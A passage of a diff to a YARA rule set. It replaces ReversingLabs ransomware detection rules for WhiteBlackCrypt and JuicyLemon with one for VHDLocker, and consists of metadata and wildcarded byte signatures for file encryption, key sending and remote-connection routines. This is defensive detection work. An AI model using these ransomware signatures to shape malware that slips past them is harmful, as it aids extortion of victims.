+            50 FF 75 ?? 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44
+            24 ?? ?? 74 ?? F7 44 24 ?? ?? ?? ?? ?? 75 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
+            FF D3 85 C0 75 ?? 8B 45 ?? 56 48 50 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? 8D
+            44 24 ?? 50 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 66 8B 31 83 C1 ?? 66 85 F6 75 ??
+            2B CA D1 F9 8D 4C 4C ?? 3B C1 74 ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF D3 85 C0 74 ?? FF 75
+            ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 5B 8B E5 5D C2
         }
-		$sendkey = {
-            00 02 7C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 73 ?? ?? ?? ?? 0B 73 ?? ?? ?? ??
-            0C 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ??
-            02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 08 72 ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 07 03 72 ?? ?? ?? ?? 08
-            6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 26 DE ?? 2A
+		$shutdown = {
+            68 ?? ?? ?? ?? 8B CA 8B D0 0F B7 45 ?? 03 C2 33 D2 F7 F6 0F B7 75 ?? 8D 85 ?? ?? ??
+            ?? 50 03 F1 8B FA FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? F6 05 ?? ?? ??
+            ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 56 57 8D 8D ?? ?? ?? ?? 51 50 8D 85 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8D 85 ?? ?? ?? ?? 50 56 57
+            8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 85 ?? ??
+            ?? ?? 50 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 5F 5E 8B C3 5B C9 C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($encrypt_files_*)) and $lockfile and $lockdir and $sendkey)
+		uint16(0)==0x5A4D and $encrypt_file and $main and $encryption_loop and $shutdown
 }
-rule REVERSINGLABS_Win64_Ransomware_Whiteblackcrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Vhdlocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects WhiteBlackCrypt ransomware."
+		description = "Yara rule that detects VHDLocker ransomware."
 		author = "ReversingLabs"
-		id = "9855c10d-563d-54e0-bc79-945daef947de"
-		date = "2021-07-05"
-		modified = "2021-07-05"
+		id = "696f8145-342b-5da5-b9ec-6f0d16afc465"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win64.Ransomware.WhiteBlackCrypt.yara#L1-L91"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "37b95cc3412f2f2d02d19c4c15b529c4f67453cb195627b5bab2f353e7602354"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.VHDLocker.yara#L1-L152"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "39d1fbfc79d5ea866498bb1e40d2290469df774ce65b1da04a85c0e4e5b4493c"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -44686,202 +45089,141 @@ rule REVERSINGLABS_Win64_Ransomware_Whiteblackcrypt : TC_DETECTION MALICIOUS MAL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "WhiteBlackCrypt"
+		tc_detection_name = "VHDLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            41 57 41 56 41 55 41 54 55 57 56 53 48 83 EC ?? 4C 8D 3D ?? ?? ?? ?? 45 31 F6 49 89
-            CD E8 ?? ?? ?? ?? 48 85 C0 49 89 C4 0F 84 ?? ?? ?? ?? 4C 89 E1 E8 ?? ?? ?? ?? 48 85
-            C0 0F 84 ?? ?? ?? ?? 48 8D 68 ?? 4C 89 FA 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D
-            15 ?? ?? ?? ?? 48 89 E9 E8 ?? ?? ?? ?? 85 C0 74 ?? 44 89 F0 48 83 C9 ?? 48 89 EF F2
-            AE 4C 89 EF 48 89 CB 48 83 C9 ?? F2 AE 48 F7 D3 48 F7 D1 01 D9 48 63 D9 48 89 D9 E8
-            ?? ?? ?? ?? 48 89 D9 4C 89 EA 48 89 C6 48 89 C7 44 89 F0 F3 AA 48 89 F1 E8 ?? ?? ??
-            ?? 48 8D 15 ?? ?? ?? ?? 48 89 F1 E8 ?? ?? ?? ?? 48 89 EA 48 89 F1 E8 ?? ?? ?? ?? 48
-            89 F1 E8 ?? ?? ?? ?? 48 89 F1 85 C0 74 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 48 89
-            F1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 89 E1 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E
-            41 5F E9 ?? ?? ?? ?? 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D 41 5E 41 5F C3
+		$encrypt_files_p1 = {
+            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1
+            ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 8B 45 ?? 6A ?? 68
+            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 89 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
+            8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8B 4D ?? 50 51 E8 ?? ??
+            ?? ?? 83 C4 ?? 0B C2 74 ?? 53 FF 15 ?? ?? ?? ?? B0 ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            33 DB 8D 95 ?? ?? ?? ?? 53 52 C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ??
+            ?? ?? 8D 85 ?? ?? ?? ?? 53 50 88 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 9D ?? ??
+            ?? ?? 89 9D ?? ?? ?? ?? 33 F6 8B FF 6A ?? 53 E8 ?? ?? ?? ?? 88 44 35 ?? 46 83 FE ??
+            7C ?? 8D 4D ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D
+            B5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B CE 89 5D ?? E8 ?? ?? ?? ?? 81 EC ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 8B F4 89 A5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? 6A ?? 50 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 81 C4 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 72 ?? 8B 8D
         }
-		$encrypt_files = {
-            41 55 41 54 55 57 56 53 48 83 EC ?? 48 8D 15 ?? ?? ?? ?? 31 F6 4C 8D 2D ?? ?? ?? ??
-            48 89 CD E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 C3 E8 ?? ?? ?? ?? 48 89 C7 49 89 D9 41
-            B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 F9 E8 ?? ?? ?? ?? 85 C0 49 89 C4 74 ?? 81 FE ??
-            ?? ?? ?? 7F ?? 45 89 E0 48 89 FA 4C 89 E9 E8 ?? ?? ?? ?? 45 31 C0 89 F2 48 89 D9 E8
-            ?? ?? ?? ?? 44 01 E6 4D 63 C4 48 89 F9 49 89 D9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 31
-            C0 89 F2 48 89 D9 E8 ?? ?? ?? ?? EB ?? 48 89 F9 48 89 EF E8 ?? ?? ?? ?? 48 89 D9 E8
-            ?? ?? ?? ?? 31 C0 48 83 C9 ?? F2 AE 48 89 CE 48 F7 D6 48 89 F1 48 83 C1 ?? E8 ?? ??
-            ?? ?? 48 89 EA 48 89 C1 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ??
-            48 89 E9 48 89 C2 48 83 C4 ?? 5B 5E 5F 5D 41 5C 41 5D E9
+		$encrypt_files_p2 = {
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 57 FF 15 ?? ??
+            ?? ?? 85 C0 75 ?? 57 FF 15 ?? ?? ?? ?? 32 C0 E9 ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52
+            68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ??
+            ?? ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 35 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 3B C3 0F 84 ?? ?? ?? ?? 6A ?? F7 D8 99 53 52 50 57 FF 15 ??
+            ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? 52 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 8D 8D ?? ?? ?? ?? 51 50 8D 95 ?? ?? ??
+            ?? 52 57 FF D6 85 C0 0F 84 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 81 BD ??
+            ?? ?? ?? ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 39 9D ?? ?? ?? ?? 77 ?? 81 BD ?? ?? ?? ?? ??
+            ?? ?? ?? 0F 82 ?? ?? ?? ?? 83 85 ?? ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 11 9D ?? ?? ?? ??
+            83 FA ?? 0F 84 ?? ?? ?? ?? 53 53 33 C9 51 33 C0 50 52 FF 15 ?? ?? ?? ?? A1 ?? ?? ??
+            ?? 50 FF 15 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B C3 8D 50 ?? 66 8B 08 83 C0 ?? 66 85 C9
         }
-		$register_service_p1 = {
-            57 56 53 48 81 EC ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 31 C0 41 B9 ?? ?? ?? ?? 48 8D 94
-            24 ?? ?? ?? ?? 48 89 CB B9 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 D7 F3 AB 48 8D
-            44 24 ?? 48 89 54 24 ?? 48 C7 C1 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ?? ?? ?? 48
-            C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 80 BC 24 ?? ?? ?? ?? ?? 48 8B 35 ?? ?? ??
-            ?? 0F 85 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 31 C9 41 B8 ?? ?? ?? ?? 48 89 DA FF 15
-            ?? ?? ?? ?? 48 8D 44 24 ?? 45 31 C0 41 B9 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 15 ?? ??
-            ?? ?? 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8D 05 ?? ?? ?? ?? 48 8B
-            4C 24 ?? 41 B9 ?? ?? ?? ?? 45 31 C0 C7 44 24 ?? ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48
-            89 44 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ??
-            45 31 C0 48 89 D9 FF 15 ?? ?? ?? ?? 31 C0 E9 ?? ?? ?? ?? 31 C9 FF D6 48 85 C0 79 ??
-            B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 31 C9 BA ?? ??
-            ?? ?? 48 C1 E0 ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ??
-            ?? 48 8D 35 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ??
-            48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 48 8D
+		$encrypt_files_p3 = {
+            75 ?? 2B C2 6A ?? D1 F8 8D 8D ?? ?? ?? ?? 51 8D 14 00 A1 ?? ?? ?? ?? 52 53 50 FF D6
+            8B 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? 52 FF D6 8B 15 ??
+            ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 8D 4D ?? 51 52 FF D6 8B 0D ?? ?? ?? ?? 6A
+            ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? 51 FF D6 8B 0D ?? ?? ?? ?? 6A ?? 8D 95
+            ?? ?? ?? ?? 52 6A ?? 8D 85 ?? ?? ?? ?? 50 51 FF D6 EB ?? 8B 9D ?? ?? ?? ?? 6A ?? 33
+            C9 51 51 B8 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 33 DB EB ?? 83 85 ?? ??
+            ?? ?? ?? 11 9D ?? ?? ?? ?? 53 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            50 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 8B 4D ?? 8B 55
+            ?? 8B B5 ?? ?? ?? ?? 51 52 8D BD ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 8D 85
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B D6 52 FF 15 ?? ?? ?? ?? 33 C9
+            51 51 33 C0 51 50 A1 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 51 FF 15 ??
+            ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 94 C0 8B 4D ?? 64
+            89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$register_service_p2 = {
-            8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7
-            84 24 ?? ?? ?? ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            41 B9 ?? ?? ?? ?? 48 89 F2 48 89 1D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 5C 24 ??
-            48 8B 35 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ?? ?? ??
-            ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF D6 B9 ?? ?? ?? ?? 48 89 C3 FF 15 ??
-            ?? ?? ?? BA ?? ?? ?? ?? 48 89 D9 49 89 C0 FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D
-            54 24 ?? 48 89 C1 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 41 B9 ?? ??
-            ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 89 5C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 44 24 ??
-            ?? ?? ?? ?? 48 89 44 24 ?? 8B 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ??
-            ?? 99 F7 F9 2D ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 99 F7 F9 31 C9 48 8D 15 ?? ?? ??
-            ?? 2D ?? ?? ?? ?? 89 44 24 ?? FF D6 BA ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89
-            D9 FF 15 ?? ?? ?? ?? 48 8B 35 ?? ?? ?? ?? 48 8D 5C 24 ?? 45 31 C9 45 31 C0 31 D2 48
-            89 D9 FF D6 85 C0 74 ?? 48 89 D9 FF 15 ?? ?? ?? ?? 48 89 D9 FF 15 ?? ?? ?? ?? EB ??
-            8B 84 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5E 5F C3
+		$find_files_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 68 ?? ?? ?? ?? 33 F6
+            8D 8D ?? ?? ?? ?? 33 C0 56 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 57 8D 95
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ??
+            52 FF 15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B
+            ?? ?? ?? ?? 8A 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 84 ?? ?? ?? ?? 57 8D
+            85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 51 8D 95
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ??
+            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ??
+            66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83
         }
-
-	condition:
-		uint16(0)==0x5A4D and ( all of ($register_service_p*)) and ($find_files) and ($encrypt_files)
-}
-rule REVERSINGLABS_Win32_Ransomware_Juicylemon : TC_DETECTION MALICIOUS MALWARE FILE
-{
-	meta:
-		description = "Yara rule that detects JuicyLemon ransomware."
-		author = "ReversingLabs"
-		id = "35e4bbd6-422b-562e-98fc-fe932270dbb8"
-		date = "2020-08-17"
-		modified = "2020-08-17"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.JuicyLemon.yara#L1-L116"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "596d89843793307f4940dbb85b2e7081f02250f6adfdcd01f2d3c5f2b8b90875"
-		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Ransomware"
-		tc_detection_name = "JuicyLemon"
-		tc_detection_factor = 5
-		importance = 25
-
-	strings:
-		$remote_connection_1 = {
-            55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B FA 8B F0 C6 45 ?? ?? 6A ?? 6A ?? 6A ?? 6A ??
-            6A ?? FF 15 ?? ?? ?? ?? 8B D8 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 57 56 53 FF 15 ?? ?? ??
-            ?? 8B F0 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 56 FF 15
-            ?? ?? ?? ?? 8B F8 8B 45 ?? E8 ?? ?? ?? ?? 50 8B 45 ?? 50 6A ?? 68 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? C6 45 ?? ?? 57 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 53
-            FF 15 ?? ?? ?? ?? 8A 45 ?? 5F 5E 5B 59 59 5D C2
+		$find_files_p2 = {
+            D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75
+            ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33
+            C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 BB ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 90
+            66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1
+            ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ??
+            8D 85 ?? ?? ?? ?? 8B FF 66 8B 10 66 3B 11 75 ?? 66 3B D6 74 ?? 66 8B 50 ?? 66 3B 51
+            ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 3B D6 75 ?? 33 C0 EB ?? 1B C0 83 D8 ?? 3B C6 0F 84 ??
+            ?? ?? ?? 57 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ??
+            ?? ?? 52 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 8B D1 83 C4 ?? 0B D0 89 B5 ?? ?? ?? ?? 89 B5 ?? ?? ?? ?? 74 ?? 50 51 8D
+            85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C4 ?? 3A C1 75 ?? 01 0D ?? ?? ??
+            ?? 11 35 ?? ?? ?? ?? EB ?? 01 0D ?? ?? ?? ?? 11 35 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51
+            53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5E 33 CD
+            B0 ?? 5B E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$remote_connection_2 = {
-            55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 89 55 ?? 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ??
-            8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 DB 8D 55 ?? 8B
-            45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 55 ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 66 BE ?? ?? 8B 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 75 ?? 66 BE ?? ?? 8D 45 ?? E8
-            ?? ?? ?? ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 50 8D 45 ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B D6
-            59 E8 ?? ?? ?? ?? 84 C0 74 ?? B3 ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
+		$get_logical_drives_list_p1 = {
+            8D 85 ?? ?? ?? ?? 50 57 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D
+            95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 57 68 ?? ?? ?? ?? 6A ?? 57
+            57 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 0F 84 ?? ??
+            ?? ?? 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 89
+            A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 33
+            FF 89 7D ?? 83 78 ?? ?? 72 ?? 8B 00 8D 50 ?? 8D A4 24 ?? ?? ?? ?? 8A 08 40 84 C9 75
+            ?? 57 8D 8D ?? ?? ?? ?? 2B C2 51 50 83 EC ?? 8B F4 89 7E ?? C7 46 ?? ?? ?? ?? ?? BF
+            ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 A5 ?? ?? ?? ?? C6 06 ?? E8 ?? ?? ?? ?? 8D B5 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 C4 ?? 39 70 ?? 72 ?? 8B 00 50 53 FF 15 ?? ?? ??
+            ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ??
+            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
+            ?? ?? 39 B5 ?? ?? ?? ?? 72 ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF 15
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 8D 64 24 ?? 66 8B 10 66 3B 11 75 ?? 66 85
+            D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 33 C0 EB
         }
-		$find_files_and_encrypt = {
-            E8 ?? ?? ?? ?? EB ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 14 B2 E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 88 45 ?? 46 4B 75 ?? A1 ?? ?? ?? ?? BA ?? ??
